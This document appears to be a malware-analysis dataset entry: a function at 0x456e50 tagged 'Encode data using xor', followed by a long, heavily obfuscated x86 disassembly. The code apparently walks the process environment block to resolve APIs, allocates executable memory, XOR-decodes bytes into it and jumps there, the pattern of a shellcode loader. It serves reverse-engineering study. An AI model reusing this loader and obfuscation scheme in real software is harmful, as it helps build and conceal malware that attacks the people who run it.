Function at 0x456e50
Capabilities:
Encode data using xor

Disassembly:
xor edx, edx
add edx, ebx
push edx
pop ecx
mov edx, 0x44b989d
xor edx, 0xfbb46761
add esp, edx
mov dword [esp], ecx
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], edi
pop edx
xor ebx, ebx
add ebx, edx
mov eax, ebx
sub esp, 4
mov dword [esp], eax
xor eax, eax
add eax, esi
xor edi, edi
add edi, eax
push 0xaeaaf11c
mov eax, 0x51550ee0
pop ebx
xor eax, ebx
add esp, eax
mov dword [esp], edi
mov esi, 0x2121827
mov ebx, 0x60486510
xor esi, ebx
mov edi, 0x2012a084
mov eax, 0xa495702
xor edi, eax
xor edi, esi
mov edx, 0x953be7d
mov eax, 0x53015f92
xor eax, edx
mov ecx, 0x10100242
mov edx, 0x2436904
xor ecx, edx
xor ecx, eax
xor ecx, edi
mov esi, dword fs:[ecx]
mov ebx, 0x45501562
xor ebx, 0x7d0835b1
push ebx
mov ebx, 0x3feb531f
mov ecx, 0x7b373fc
xor ecx, ebx
mov eax, dword [esp]
add esp, 4
xor ecx, eax
add esi, ecx
mov eax, 0
xor eax, esi
xchg edi, eax
push 0xd5e87d5e
mov eax, 0x2a1782b6
pop ebx
xor eax, ebx
add edi, eax
mov eax, 0xffffffff
add edi, eax
mov edx, dword [edi + 0x19]
mov ecx, 0x141202e4
mov esi, 0x42441d10
xor ecx, esi
mov esi, 0x324ba4ff
xor ecx, esi
xor ecx, 0x641dbb07
add edx, ecx
mov esi, edx
xchg ecx, esi
xchg ebx, ecx
mov esi, 0
mov ecx, 0x20
xor esi, ecx
add ebx, esi
add ebx, 0
add ebx, 0xffffffff
mov eax, dword [ebx - 0x1f]
mov ecx, 0x6b530cdd
mov ebx, 0x6b530cdb
xor ebx, ecx
add eax, ebx
mov edx, 0x66c40fc8
xor edx, 0x993bf032
sub eax, edx
mov ecx, 0x3487edab
mov ebx, 0x3487edab
xor ebx, ecx
xor ebx, eax
push ebx
pop ecx
mov esi, 0xfffffffc
add esp, esi
mov dword [esp], ecx
mov esi, esp
mov ebx, 0xffffffb3
add esi, ebx
mov edi, 1
sub esi, edi
mov edx, dword [esi + 0x4e]
mov esi, 0x731ed890
mov edi, 0x8ce1276c
xor esi, edi
sub esp, esi
mov eax, 0
xor eax, edx
mov edi, eax
mov esi, edi
mov edi, 0xfffffffc
add esp, edi
push esp
pop ebx
mov dword [ebx], esi
mov esi, edx
mov eax, esi
xchg eax, ecx
mov esi, 0x3119f294
xor esi, 0x3119f2d3
sub ecx, esi
mov ebx, dword [ecx + 0x47]
mov edi, 0
xor edi, ebx
push edi
pop edx
mov edi, 0xffffffff
add edx, edi
mov ecx, dword [edx + 1]
mov eax, 0x36bd8be7
xor eax, 0x28cb747f
mov ebx, 0xca5b5c3f
xor eax, ebx
xor eax, 0x2bd25c73
sub ecx, eax
xor eax, eax
add eax, ecx
push eax
pop edi
mov esi, 0x70d4e3ca
add esi, 0x8f2b1c35
add edi, esi
mov edx, dword [edi + 1]
and edx, 0xffff
xor edx, 0x18
mov eax, edx
sub esp, 4
mov dword [esp], eax
pop edi
xchg edi, esi
or esi, 0
jne 0x457272
push 0x417703b
mov eax, 0x7174ad1f
pop ebx
xor eax, ebx
mov edi, 0x7563dd20
xor eax, edi
add ecx, eax
push ecx
pop eax
mov edi, 0
xor edi, eax
mov ebx, 0xffffffff
add edi, ebx
mov edx, dword [edi + 1]
mov ecx, 0x346802ea
add ecx, 0xcb97fd1a
sub esp, ecx
mov ecx, 0x38f56c5f
mov ebx, 0x38f56c5f
xor ebx, ecx
xor ebx, esp
mov dword [ebx], edx
xor esi, esi
add esi, edx
mov edi, 0x2ea83a77
xor edi, 0xd157c588
add esi, edi
mov ecx, dword [esi + 1]
and ecx, 0xff
push 0x5f49f249
mov edx, 0x54196018
pop eax
xor edx, eax
mov edi, 0x5b1e0acd
xor edi, 0x184509a4
xor edi, edx
xor ecx, edi
xor edx, edx
add edx, ecx
mov esi, 0xffffffff
xor edx, esi
and edx, 0x480b9153
and ecx, 0xb7f46eac
or ecx, edx
push ecx
pop esi
mov ebx, 0
xor ebx, esi
xchg eax, ebx
and eax, 0xffffffff
je 0x457127
mov edx, 0x3d524fa2
mov esi, 0x3d524fa2
xor esi, edx
mov ebx, 0x5ae6022a
add ebx, 0xa519fdf6
xor esi, ebx
xor ecx, esi
sub edi, edi
add edi, ecx
and edi, edi
jne 0x457255
mov esi, esp
xchg edi, esi
dec edi
mov eax, dword [edi + 1]
mov ecx, 0x6baed1b7
mov esi, 0x6baed1b3
xor esi, ecx
add esp, esi
mov ebx, 0x358ee3a9
xor ebx, 0x37169603
mov edi, 0x41630010
mov ecx, 0xbc048a40
xor edi, ecx
xor edi, ebx
sub eax, edi
mov ecx, eax
push ecx
pop ebx
mov edi, 0xfffffffc
add esp, edi
xor ecx, ecx
add ecx, esp
mov dword [ecx], ebx
mov edx, dword [eax]
and edx, 0xff
xor edx, 0x4e
mov eax, 0x8dda8c6
add eax, 0x15d7c289
mov ebx, 0x1eb56b4f
xor eax, ebx
xor eax, edx
or eax, 0
je 0x4571c6
mov eax, 0x3f132d1e
add eax, 0x2bca5048
mov ebx, 0x6add7d46
sub eax, ebx
xor edx, eax
mov ecx, edx
add esp, 0xfffffffc
mov dword [esp], ecx
pop eax
mov esi, eax
mov ecx, esi
xchg ebx, ecx
add ebx, 0
jne 0x457255
pop esi
mov edx, 0xffffffff
sub esi, edx
mov eax, 1
add esi, eax
push 0xe021c9da
mov eax, 0x1fde3626
pop edi
xor eax, edi
sub esi, eax
xor eax, eax
add eax, esi
dec eax
mov edi, dword [eax + 1]
mov ecx, edi
mov eax, ecx
mov edx, 0
xor edx, eax
xor esi, esi
add esi, edx
mov eax, 0xffffffff
xor esi, eax
and esi, 0xffffffff
and edx, 0
or edx, esi
and edx, 0x320033
and edi, 0xffcdffcc
or edi, edx
mov ecx, 0x67291bdd
add ecx, 0xef
push ecx
mov edx, 0x352e57e8
mov ebx, 0x52074b24
xor ebx, edx
mov esi, dword [esp]
sub esp, 0xfffffffc
xor ebx, esi
xor ebx, edi
and ebx, 0xffffffff
je 0x4572b5
jmp 0x457272
mov eax, esp
mov ecx, 0x5f
add eax, ecx
mov edx, dword [eax - 0x5f]
push 0xa68fec0b
mov edi, 0x597013f7
pop ecx
xor edi, ecx
sub esp, edi
mov esi, esp
mov ecx, esi
mov edx, 0xffffffdc
sub ecx, edx
mov ebx, dword [ecx - 0x24]
mov esi, 0x1126193d
xor esi, 0x11261939
add esp, esi
push ebx
pop eax
xchg ecx, eax
push 0x4fc06857
mov edx, 0x4fc06856
pop edi
xor edx, edi
sub ecx, edx
mov esi, dword [ecx + 1]
mov edx, esi
push edx
pop edi
xor ecx, ecx
add ecx, edi
mov ebx, ecx
push ebx
jmp 0x456f95
xor eax, eax
add eax, esp
add eax, 0x59
add eax, 4
mov esi, 1
sub eax, esi
mov edi, dword [eax - 0x5c]
mov edx, 0x4cb110a1
xor edx, 0x4cb110a5
add esp, edx
mov ecx, edi
push ecx
mov edx, dword [esp]
add esp, 4
mov ecx, 0x5efc48c0
xor ecx, 0x5efc48c4
sub edx, ecx
mov eax, 1
sub edx, eax
mov ebx, dword [edx + 5]
mov edx, ebx
xchg ecx, edx
push 0x4821ae49
mov edx, 0x4821ae0d
pop esi
xor edx, esi
sub ecx, edx
mov edx, 1
sub ecx, edx
mov edi, dword [ecx + 0x45]
mov ecx, 0x70144298
mov edx, 0x1202462
xor ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x8ecb9912
and ecx, 0x713466ed
or ecx, edx
sub edi, ecx
mov eax, edi
xchg edx, eax
mov ecx, edx
mov eax, 0xffffffff
add ecx, eax
mov esi, dword [ecx + 1]
mov edi, esi
mov eax, edi
xchg edx, eax
mov edi, 0x39bf5424
mov eax, 0xc640abd8
xor edi, eax
add esp, edi
mov dword [esp], edx
xor edi, edi
add edi, esi
mov ebx, 0xe1b103f
add ebx, 0x96
push ebx
mov ebx, 0x692dc665
mov eax, 0x6736d68c
xor eax, ebx
pop edx
xor eax, edx
add edi, eax
mov edx, 0x55d101b0
mov ecx, 0x55d101b0
xor ecx, edx
xor ecx, edi
mov esi, 0x3666304a
xor esi, 0xc999cfa8
sub ecx, esi
mov eax, 0x2e9bff43
xor eax, 0x2e9bff42
sub ecx, eax
mov ebx, dword [ecx - 0x1d]
sub ecx, ecx
add ecx, esp
mov edx, 0x563277a4
add edx, 0xa9cd8864
sub ecx, edx
mov eax, dword [ecx + 8]
add ebx, eax
mov ecx, 0x5236f157
add ecx, 0xe127c15a
mov edx, 0xcca14dc7
add ecx, edx
add ebx, ecx
push 0x4a8dfe74
mov eax, 0x4a8dfe74
pop ecx
xor eax, ecx
xor eax, ebx
mov edx, 0xffffffff
add eax, edx
mov ebx, dword [eax + 1]
xor edx, edx
add edx, esp
xchg edx, eax
mov edx, 0x3b414d19
mov esi, 0xc4beb282
xor edx, esi
add eax, edx
dec eax
mov ecx, dword [eax + 0x66]
add ebx, ecx
mov edi, 0x5e06269c
mov esi, 0x5b59f127
xor esi, edi
push 0x529d75be
mov ecx, 0x57c2a225
pop edi
xor ecx, edi
xor ecx, esi
add ebx, ecx
mov ecx, 0x642e8d2
xor ecx, 0x1202b8d3
mov edi, 0x30fa4916
xor edi, 0x38fa4136
xor ecx, edi
mov esi, 0x64acad15
mov edx, 0x78ecf530
xor edx, esi
sub ecx, edx
add ecx, ebx
mov edi, ecx
mov esi, edi
mov edi, esi
xchg edi, edx
mov esi, 2
mov edi, 0x44
xor esi, edi
sub edx, esi
mov esi, 0x6f0b6066
add esi, 0x90f49f99
add edx, esi
mov ecx, dword [edx + 0x47]
mov esi, esp
push 0x857b8614
mov eax, 0x7a8479b2
pop edx
xor eax, edx
sub esi, eax
push 0x6fe6dc0f
mov edx, 0x6fe6dc0e
pop eax
xor edx, eax
sub esi, edx
mov edi, dword [esi - 0x59]
add ecx, edi
mov edx, ecx
mov edi, 0
xor edi, edx
add esp, 0xfffffffc
mov esi, esp
mov dword [esi], edi
push 0x222f02c5
mov ecx, 0x222f02c5
pop edi
xor ecx, edi
mov esi, 0x3d5d3869
xor esi, 0x3d5d3869
xor ecx, esi
push 0x5e684e26
mov edi, 0x1ebdfd78
pop eax
xor edi, eax
push edi
mov edx, 0x40003348
mov edi, 0xd58012
xor edx, edi
pop esi
xor edx, esi
xor ecx, edx
add ecx, ebx
mov ecx, dword [ecx]
mov eax, dword [esp + 4]
add ecx, eax
mov edi, ecx
mov edx, edi
xchg edx, esi
add esp, 0xffffffff
add esp, 0xfffffffd
mov edi, esp
xchg edx, edi
mov dword [edx], esi
sub eax, eax
add eax, ebx
mov esi, 0x4556475e
mov ecx, 0xbaa9b8b9
xor ecx, esi
sub eax, ecx
push 0x52131927
mov ecx, 0x52131926
pop edx
xor ecx, edx
sub eax, ecx
mov ebx, dword [eax - 0x18]
mov edi, dword [esp + 8]
add ebx, edi
mov eax, ebx
push 0x8e837fb0
mov esi, 0x717c8010
pop ecx
xor esi, ecx
sub eax, esi
dec eax
mov edx, dword [eax - 0x5f]
mov ecx, dword [esp + 8]
add edx, ecx
mov ecx, 0x74540085
mov esi, 0x108e802
xor ecx, esi
mov esi, 0x8aa31774
add ecx, esi
sub edx, ecx
mov ecx, edx
push ecx
mov esi, dword [esp]
add esp, 4
mov eax, 0x1b62793b
mov ecx, 0x1b62792b
xor ecx, eax
add esi, ecx
mov edx, dword [esi - 0x10]
push 0x7716d83d
mov esi, 0x7716d83d
pop ecx
xor esi, ecx
xor esi, edx
push 0xc100c076
mov ecx, 0x4f8ea028
pop eax
xor ecx, eax
xor esi, ecx
mov edi, 0x71719fa1
xor esi, edi
and esi, 0x6441636f
and edx, 0x9bbe9c90
or edx, esi
mov edi, edx
mov ecx, edi
mov edi, ecx
push edi
mov edi, esp
add edi, 0xffffffb3
dec edi
mov esi, dword [edi + 0x4e]
mov edi, 0xfffffffc
sub esp, edi
and esi, 0xffffffff
je 0x457661
mov ecx, 0xb86196c
mov edx, 0x142a110c
xor edx, ecx
mov eax, edx
xor eax, 0xffffffff
and eax, 0xe053f79c
and edx, 0x1fac0863
or edx, eax
sub ebx, edx
mov ecx, dword [esp]
push 0x8a50be7d
mov edx, 0x75af4181
pop esi
xor edx, esi
sub esp, edx
mov edx, 0xf2dc5d0
add edx, 0x6fef2e2d
mov esi, 0x80e30c01
add edx, esi
sub ecx, edx
mov esi, 0
xor esi, ecx
push esi
pop edx
mov esi, 0x25e967f4
add esi, 0xda169808
add esp, esi
mov dword [esp], edx
jmp 0x45754a
mov ecx, esp
xchg edx, ecx
mov edi, 0xffffffbd
add edx, edi
add edx, 0xffffffff
mov ebx, dword [edx + 0x44]
push 0x2f8896de
mov eax, 0x2f8896da
pop ecx
xor eax, ecx
add esp, eax
xor ecx, ecx
add ecx, ebx
mov eax, 0x320d88d0
mov edi, 0x320d8882
xor edi, eax
add ecx, edi
mov edx, 1
sub ecx, edx
mov ebx, dword [ecx - 0x51]
and ebx, 0xffff
add ebx, ebx
xor esi, esi
add esi, ebx
add ebx, esi
pop ecx
add ecx, ebx
sub ebx, ebx
add ebx, ecx
mov esi, 0x166f447f
xor esi, 0xe990bb88
add ebx, esi
mov esi, 0x4a246aa4
mov edx, 0xb5db955b
xor edx, esi
add ebx, edx
mov ecx, dword [ebx + 0xa]
mov eax, dword [esp]
mov esi, 4
mov edi, 0
xor esi, edi
add esp, esi
add ecx, eax
xor edx, edx
add edx, ecx
push 0x368516b2
mov esi, 0x368516b6
pop edi
xor esi, edi
sub esp, esi
mov dword [esp], edx
push 0x801b94e0
mov ebx, 0x776c12e0
pop edx
xor ebx, edx
push ebx
push 0x6d56729
mov edx, 0x47ac1548
pop edi
xor edx, edi
push edx
mov edx, 0x2b31a231
xor edx, 0x5953cb7d
push edx
mov ebx, 0x64616eff
add ebx, 0x4d
push ebx
mov edx, esp
push edx
pop edi
mov esi, 0xfffffffc
add esp, esi
mov esi, esp
mov edx, esi
mov dword [edx], edi
add esp, 0xfffffffc
mov ebx, esp
mov dword [ebx], eax
mov esi, dword [esp]
add esp, 4
xor edi, edi
add edi, esi
mov ebx, 0xfffffffc
add esp, ebx
mov dword [esp], edi
call ecx
mov ecx, 0x4e6f646d
xor ecx, 0xb1ed5297
add esp, 0xfffffffc
mov dword [esp], ecx
mov esi, 0x59c002
mov ebx, 0x240908
xor esi, ebx
mov edi, dword [esp]
sub esp, 0xfffffffc
xor esi, edi
sub esp, esi
push 0xd786d44e
mov ecx, 0x28792bb2
pop esi
xor ecx, esi
add esp, ecx
mov esi, 0
xor esi, esp
mov edi, 0
xor edi, esi
mov dword [edi], eax
call fcn.00457cc9
mov ebx, 0x4040151
mov esi, 0xd2293480
xor ebx, esi
push ebx
mov edx, 0x2afd030e
xor edx, 0x32fc921
mov eax, dword [esp]
sub esp, 0xfffffffc
xor edx, eax
sub ecx, edx
mov eax, 0x16744d46
add eax, 0xe98bb2be
sub esp, eax
mov ebx, esp
push ebx
pop edi
mov dword [edi], ecx
push 0x79e13769
mov edx, 0x52478769
pop ebx
xor edx, ebx
push edx
mov esi, 0x636f6c36
add esi, 0x36
push esi
push 0x411e88a6
mov edi, 0x72e9d3
pop edx
xor edi, edx
push edi
push 0xa14573e
mov ecx, 0x7e663e68
pop ebx
xor ecx, ebx
push ecx
mov edi, 0xdba0da51
add edi, 0xaf
push edi
push 0x788ee6a9
mov edi, 0x4abd8acc
pop eax
xor edi, eax
push edi
mov edx, 0x6e7264ca
add edx, 0x81
push edx
mov esi, dword [esp + 0x20]
mov edi, 0x495c5f19
mov edx, 0x495c5f19
xor edx, edi
xor edx, esp
push edx
pop ecx
mov eax, 4
sub esp, eax
mov dword [esp], ecx
call esi
mov edx, 0x22fc27
add edx, 0x773ffdb0
mov ebx, 0x462f7f58
xor ebx, 0x314d8683
xor ebx, edx
add esp, ebx
sub ebx, ebx
add ebx, esp
push 0x9460b3c9
mov ecx, 0x6b9f4c35
pop edx
xor ecx, edx
add esp, ecx
mov dword [esp], ebx
mov ecx, eax
mov edi, ecx
push edi
pop ebx
mov ecx, 4
mov edx, 0
xor ecx, edx
sub esp, ecx
mov dword [esp], ebx
mov esi, dword [esp + 0x20]
call esi
mov ecx, 0x3534f744
add ecx, 0x2c
push ecx
push 0x16f93a6c
mov edi, 0x23cdcd0c
pop edx
xor edi, edx
pop ebx
xor edi, ebx
add esp, edi
mov ecx, 0
mov edx, 0x40
xor ecx, edx
push ecx
mov ecx, 0xfe7
add ecx, 0x19
push ecx
mov ebx, 0xf152
mov ecx, 0xca5
xor ebx, ecx
push ebx
mov esi, 0x712abcbb
xor esi, 0x712abcbb
sub esp, 4
mov dword [esp], esi
call eax
pop ebx
mov esi, 0x65a94ab6
xor esi, 0x65a94ab6
xor esi, eax
mov edi, esi
mov ecx, edi
mov edx, ecx
mov ecx, edx
push ecx
mov edi, dword [esp]
add esp, 4
mov ecx, 4
sub esp, ecx
mov eax, 0
xor eax, esp
mov dword [eax], edi
mov esi, ebx
mov edi, 0x5fff1a89
add edi, 0xa000e573
add esp, edi
mov dword [esp], esi
mov eax, 0x10200280
mov ecx, 0xc0802150
xor eax, ecx
push eax
mov esi, 0x670c2ba7
add esi, 0xc853b129
mov edi, dword [esp]
sub esp, 0xfffffffc
xor esi, edi
sub ebx, esi
push 0x260d7d2b
mov ecx, 0x260d80c6
pop esi
xor ecx, esi
push ecx
mov al, byte [ebx]
mov byte [edx], al
mov esi, 0x4d0881a5
add esi, 0xbda7258a
push 0xbee0231b
mov edi, 0x4bb07bcb
pop ecx
xor edi, ecx
xor esi, edi
sub ebx, esi
mov esi, 0x2b01cdfe
add esi, 0xd4fe3202
add edx, esi
mov edi, 0x12919261
xor edi, 0x12919260
add edx, edi
pop ecx
mov edi, 0x586a0b7b
xor edi, 0x2c768f2f
push edi
mov edi, 0x2a6fa64c
mov esi, 0x5e732219
xor esi, edi
mov eax, dword [esp]
sub esp, 0xfffffffc
xor esi, eax
sub ecx, esi
mov eax, 0x103ec104
mov esi, 0xefc13ef8
xor esi, eax
add esp, esi
mov edi, 0
mov esi, 0
xor edi, esi
xor edi, esp
mov dword [edi], ecx
mov eax, 4
sub esp, eax
xor esi, esi
add esi, esp
mov dword [esi], ecx
pop edi
and edi, ecx
jne 0x45798f
xor ebx, ebx
add ebx, esp
mov edi, 1
sub ebx, edi
mov eax, dword [ebx + 1]
mov edx, 0x1638a2dc
xor edx, 0x1638a2d8
add esp, edx
mov ebx, 0x50b7ca0d
add ebx, 0x15ab95c9
push 0x60cfbb85
mov ecx, 0x4ddcc1b3
pop edx
xor ecx, edx
xor ecx, ebx
mov edi, 0x5f93cfee
mov esi, 0xeb0317e3
xor esi, edi
add ecx, esi
mov edx, dword [esp]
mov edi, 0x3d114d57
mov esi, 0x3d114d53
xor esi, edi
add esp, esi
mov edi, esp
mov esi, 0x16
sub edi, esi
mov ebx, dword [edi + 0x16]
mov esi, 0x4cbb9e1e
xor esi, 0x4cbb9e1a
add esp, esi
mov esi, 0xa500b99
add esi, 0x6a066995
mov edi, 0x8baa88be
add esi, edi
add ebx, esi
mov edi, 0x5a83c311
add edi, 0xa57c3cf3
sub esp, edi
mov eax, esp
xchg edi, eax
mov esi, 0
xor esi, edi
mov dword [esi], ecx
mov edi, edx
push edi
pop esi
mov eax, 0x3332098
mov edi, 0x333209c
xor edi, eax
sub esp, edi
mov dword [esp], esi
push 0x7f5d4deb
mov edi, 0x7f5d4def
pop eax
xor edi, eax
sub esp, edi
mov eax, esp
mov edi, eax
mov eax, edi
mov esi, eax
mov dword [esi], ebx
xor ecx, ecx
mov cl, byte [ebx]
add edx, ecx
mov cl, byte [edx]
mov esi, esp
dec esi
mov ebx, dword [esi + 1]
mov edi, 0x541bf4f1
add edi, 0xabe40b13
add esp, edi
mov esi, 0
xor esi, esp
mov edi, 0x6c
sub esi, edi
mov edi, 1
sub esi, edi
mov edx, dword [esi + 0x6d]
mov esi, 0x4acd415a
add esi, 0xb532bea2
sub esp, esi
mov byte [ebx], cl
push 0x4da61d40
mov esi, 0x36a5f593
pop edi
xor esi, edi
mov edi, 0x555755dd
xor esi, edi
xor esi, 0x2e54bd0f
sub ebx, esi
xor eax, eax
add eax, esp
add eax, 0xffffffff
mov ecx, dword [eax + 1]
mov edi, 0x57b3707
mov esi, 0xfa84c8fb
xor esi, edi
sub esp, esi
mov edi, 0x7078bfd3
xor edi, 0x7078bfd2
sub ecx, edi
cmp ecx, 0
jne 0x457aa8
mov ecx, 0x1271300f
mov edx, 0x88482f0
xor ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xe50a4d00
and ecx, 0x1af5b2ff
or ecx, edx
sub ebx, ecx
mov ecx, ebx
mov esi, ecx
mov edi, 0
xor edi, esi
push edi
pop esi
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], esi
xor eax, eax
add eax, esp
mov edx, 0xffffffff
add eax, edx
mov ecx, dword [eax + 1]
mov edx, 0x6ad92f60
add edx, 0x9526d09c
sub esp, edx
call ecx
push 0x689968fb
mov eax, 0x6c05ff33
pop edx
xor eax, edx
mov edx, 0x217db6df
mov ecx, 0x455cd5a6
xor ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x17b665e7
and ecx, 0xe8499a18
or ecx, edx
xor ecx, eax
mov edx, esp
xchg eax, edx
mov ecx, 1
sub eax, ecx
mov esi, dword [eax + 1]
push 0xb9a33b33
mov eax, 0x465cc4cf
pop ecx
xor eax, ecx
sub esp, eax
mov ecx, 0xc56676b
xor ecx, 0x544090d0
mov eax, 0xd11310fa
add ecx, eax
mov edx, 0x3bdfde94
mov eax, 0x6e33f01c
xor eax, edx
xor ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x5a7f2a8
and ecx, 0xfa580d57
or ecx, edx
pop edi
mov edx, 0xdf9f6fc
mov eax, 0x47954166
xor eax, edx
mov edx, 0x8e1b13a
sub eax, edx
mov ecx, 0x10440000
mov edx, 0x4003000
xor ecx, edx
xor eax, ecx
push esp
pop eax
mov ecx, 0xffffffb5
add eax, ecx
mov ebx, dword [eax + 0x4b]
mov edx, 0x4d009cf9
add edx, 0xb2ff6303
sub esp, edx
lea esp, [esp + 4]
jmp dword [esp - 4]